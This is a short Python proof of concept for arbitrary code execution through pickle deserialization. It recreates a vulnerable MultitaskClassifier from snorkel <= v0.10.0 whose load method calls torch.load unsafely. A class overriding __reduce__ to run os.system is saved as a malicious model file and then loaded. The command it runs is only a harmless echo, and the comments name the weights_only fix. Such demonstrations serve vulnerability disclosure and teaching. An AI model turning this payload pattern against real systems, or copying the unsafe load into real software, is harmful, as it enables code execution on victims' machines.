Vulnerable code sample

import os
import torch
import pickle

# This class is a payload designed to execute code upon deserialization.
# The __reduce__ method is called by pickle to reconstruct the object.
# We override it to return a function and its arguments to be executed.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # This will execute the `os.system` command when the object is unpickled.
        command = 'echo "VULNERABILITY DEMO: Malicious code executed!"'
        return (os.system, (command,))

# This represents the vulnerable MultitaskClassifier class from snorkel <= v0.10.0
class MultitaskClassifier:
    def __init__(self):
        self.model = None

    def load(self, model_path: str):
        """
        Loads a saved model from a file path.
        This is the vulnerable method because it uses torch.load() with its
        default (unsafe) unpickler, allowing arbitrary code execution.
        """
        print(f"[INFO] Loading model from {model_path}...")
        # VULNERABLE LINE: torch.load uses pickle by default, which is unsafe.
        # The fix would be to add `weights_only=True`.
        self.model = torch.load(model_path)
        print("[INFO] Model loaded.")

if __name__ == "__main__":
    MALICIOUS_MODEL_PATH = "malicious_model.pth"

    # 1. Attacker creates a malicious model file.
    # Instead of model weights, it contains the pickled payload object.
    print(f"[ATTACKER] Creating malicious file: {MALICIOUS_MODEL_PATH}")
    payload = ArbitraryCodeExecutor()
    # torch.save uses pickle to save the object.
    torch.save(payload, MALICIOUS_MODEL_PATH)
    print("[ATTACKER] Malicious file created.")

    print("-" * 20)

    # 2. Victim loads the malicious model file using the vulnerable class.
    print("[VICTIM] Initializing classifier.")
    classifier = MultitaskClassifier()

    print("[VICTIM] Attempting to load the model file...")
    # The vulnerability is triggered here when .load() is called.
    classifier.load(MALICIOUS_MODEL_PATH)

    print("[VICTIM] Script execution continues after loading.")

    # 3. Clean up the malicious file.
    os.remove(MALICIOUS_MODEL_PATH)